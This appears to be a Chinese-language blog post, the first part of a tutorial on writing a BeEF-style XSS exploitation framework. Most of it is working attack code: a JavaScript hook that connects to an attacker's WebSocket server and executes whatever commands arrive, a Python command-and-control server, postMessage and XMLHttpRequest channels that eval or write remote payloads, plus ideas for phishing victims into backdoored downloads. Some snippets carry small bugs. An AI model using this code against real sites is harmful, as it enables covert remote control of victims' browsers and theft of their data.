zoukankan      html  css  js  c++  java
  • xss框架(一)之浏览器通信

    0x00 简述

    最近想练练手写一个类似beef的xss利用工具,找到一本神书 浏览器黑客handbook

    其中引用了很多beef的源代码,做了很细致的讲解。

    假设现在目标页面已经发现了xss漏洞,我们要对它进行控制和进一步的利用,最好还能像后门一样持久保存在用户浏览器中

    关于xss利用:

    • 信息收集方面: 目标IP 浏览器 操作系统,可以从http头中读取 ; 访问的历史记录 ,准备一堆常用网站,读取CSS 访问过的网站会有标记 ;

    • 钓鱼欺骗 : 用一个flash更新图片铺满页面,点击下载带后门的软件;克隆目标正在访问的其他网站

    • 实时控制 : 攻击者建立服务和目标浏览器建立器实时的交互,发送任意命令给目标浏览器,这也是本文主要针对的方面: XMLHttpRequest 轮询目标状态, 原生支持的websocket ,跨域的postMessage() ,隐蔽一些的 DNS tunnel 。beef中有一个dns服务器,python dns服务器 也要提上日程了

    0x01 websockets

    python3中引入websockets库 发现demo中使用了 async和await

    async 用来声明一个协程函数 await 表示运行阻塞等待结果

    python3.5中引入了协程

    关于协程的理解:

    1. 区别于通常的函数调用,函数之间没有相互调用的关系

    2. 在同一线程中并行执行两个函数,在子程序内部可中断转而执行其他函数,不需要考虑线程之间的共享资源,锁,等等概念。

    3. 执行速度好于线程。

    websocket.js

    
    function hasWebsocket(){
    
        return !!window.WebSocket || !!window.MozWebSocket;
    
    }
    
    if (hasWebsocket()){
    
        try{
    
        var ws = new WebSocket("ws://127.0.0.1:5678/");
    
        }
    
        catch(err){
    
            console.log("no WebSocket server ") 
    
        }
    
        ws.onopen = function(){
    
            console.log("socket open");
    
            ws.send("give me some command");
    
        }
    
        ws.onmessage = function(msg){
    
            f = new Function(msg.data);
    
            f();
    
            console.log("command executed")
    
        }
    
    }
    
    else{
    
        console.log("no WebSocket")
    
    }
    
    

    xss_websocket.py

    
    #!/usr/bin/env python
    
    import asyncio
    
    import datetime
    
    import random
    
    import websockets
    
    
    
    async def command(websocket,path):
    
        while True:
    
            payload = input("enter command>")
    
            if payload:
    
                await websocket.send(payload)
    
            else:
    
                print("waiting for command")
    
    #        await asyncio.sleep(10)
    
    
    
    start_server = websockets.serve(command, '127.0.0.1', 5678)
    
    asyncio.get_event_loop().run_until_complete(start_server)
    
    asyncio.get_event_loop().run_forever()
    
    

    执行结果是这样的 可以输入js命令让目标执行

    0x02 postMessage()

    window.postMessage() 是另一个原生支持的跨域交流的方法。

    我们先修改/etc/hosts建立两个域名 hacker.com victim.com

    需要在victim页面建立一个iframe 通过postMessage()向hacker.com 传送消息

    在hack.html中监听发送过来的消息

    
    window.addEventListener(type,function,false);
    
    window.addEventListener("message",receiveMessage,false);
    
    

    victim.html

    
    
    <!DOCTYPE html>
    
    <html>
    
    <head>
    
    	<title></title>
    
    	<script type="text/javascript">
    
    		window.addEventListener("message",receiveMessage,false);
    
    		var infoBar = document.getElementById("debug")
    
    		function receiveMessage(event){
    
    			infoBar.innerHTML += event.origin+": "+event.data+"";
    
    			new Function(event.data)();
    
    		}
    
    
    
    		function post_msg(){
    
    			var to_hack = document.getElementById('to_hack');
    
    			to_hack.contentWindow.postMessage(""+eval(document.getElementById('v').value),"http://hacker.com");
    
    		}
    
    	</script>
    
    </head>
    
    <body>
    
    	<div id="debug"></div>
    
    	<div id="ui">
    
    		<input type="text" name="" id="v" />
    
    		<input type="button" value="send to hacker" onclick="post_msg()">
    
    		<iframe id="to_hack" src="http://hacker.com/hack/xss/hack.html"></iframe>
    
    	</div>
    
    </body>
    
    </html>
    
    

    hack.html

    
    
    
    <!DOCTYPE html>
    
    <html>
    
        <head>
    
            <title>WebSocket demo</title>
    
        </head>
    
        <body>
    
        	<div id="debug"> Ready to receive data...</div>
    
    		<input type="hidden" id="payload" value="alert(1)"> 
    
        	<script type="text/javascript">
    
    			window.addEventListener("message",receiveMessage, false);
    
    			var debug = document.getElementById("debug");
    
    
    
    			var payload = eval(document.getElementById('payload').value)
    
    			console.log(payload)
    
    			function receiveMessage(event){
    
    			    debug.innerHTML += "Data: " + event.data + "
     Orign: "+event.orign;
    
    			    parent.postMessage(payload,event.orign);
    
    			}    		
    
        	</script>
    
        </body>
    
    </html>
    
    
    

    执行结果

    虽然还是有一个错误 但是每次点击按钮都会弹窗

    xmlhttprequest

    我们编写一个tronado 的hello world 服务器来给xmlHttpRequest响应。然而XHR受同源策略的限制只能发出请求而不能收回自己请求结果。
    在XHR level2 中只要在返回头中加上 Access-Control-Allow-Origin 头部 指定可以访问的源就能实现
    xmlhttp.html

    <!DOCTYPE html>
    <html>
    <head>
    	<title></title>
    </head>
    <body>
    	<script type="text/javascript">
    
    		function loadXMLDoc(){
    			var xmlhttp=null;
    			if (window.XMLHttpRequest){
    			  xmlhttp=new XMLHttpRequest();
    			  }
    			else if (window.ActiveXObject){
    			  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    			  }
    			else{
    			  alert("Your browser does not support XMLHTTP.");
    			  }
    			return xmlhttp;
    		}
    
    		var xmlhttp=loadXMLDoc();
    
    		function Makerequest(url){
    			if (xmlhttp!=null){
    			  xmlhttp.onreadystatechange=state_Change;
    			  xmlhttp.open("GET",url,true);
    			  xmlhttp.send(null);
    			  }
    		}
    
    		function state_Change()
    		{
    		if (xmlhttp.readyState==4){
    		    if(xmlhttp.responseText!=null){
    		    	//new Function(xmlhttp.responseText).();
    		    	document.write(xmlhttp.responseText)
    		    	}
    		    else{
    		    	console.log("responseText wrong")
    		    }
    		  }
    		else{
    			console.log("readyState wrong")
    		}
    		}
    		setInterval(Makerequest("http://localhost:8001"),2000)
    		
    	</script>
    </body>
    </html>
    

    hello.py

    import tornado.httpserver
    import tornado.ioloop
    import tornado.options
    import tornado.web
    import os
    
    from tornado.options import define ,options
    define("port",default=8001,help="run on this port " ,type=int)
    
    class IndexHandler(tornado.web.RequestHandler):
    	def get(self):
    		self.write("<script>alert(1)</script>")
                    self.set_header('Access-Control-Allow-Origin','*') 
    if __name__=="__main__":
    	tornado.options.parse_command_line()
    	app = tornado.web.Application(handlers=[(r"/",IndexHandler)],
    		template_path=os.path.join(os.path.dirname(__file__), "templates"))
    	http_server = tornado.httpserver.HTTPServer(app)
    	http_server.listen(options.port)
    	tornado.ioloop.IOLoop.instance().start()
    
    

    挖的坑终于补上了一个。。。

    0x03 参考

    1,讲解了postmessage和websocket的概念

    http://www.ibm.com/developerworks/cn/web/1301_jiangjj_html5message/index.html

    2,介绍python协程

    http://www.tuicool.com/articles/fEryuyi

    3,websocket 文档

    https://websockets.readthedocs.io/en/stable/intro.html

    4,《Browser hacker‘s handbook》

  • 相关阅读:
    MFC通过Http Post数据到Web端
    C++解析JSON格式数据
    APScheduler最基本的用法
    error connection reset by peer 104
    navicat远程连接mysql错误
    ubuntu18.04 校准时间
    ubuntu下python在pycharm环境下安装setuptools和pip,和distutils.core
    ubuntu下pycharm快捷方式创建
    django无法加载样式
    YAML快速入门
  • 原文地址:https://www.cnblogs.com/moonnight/p/6071034.html
Copyright © 2011-2022 走看看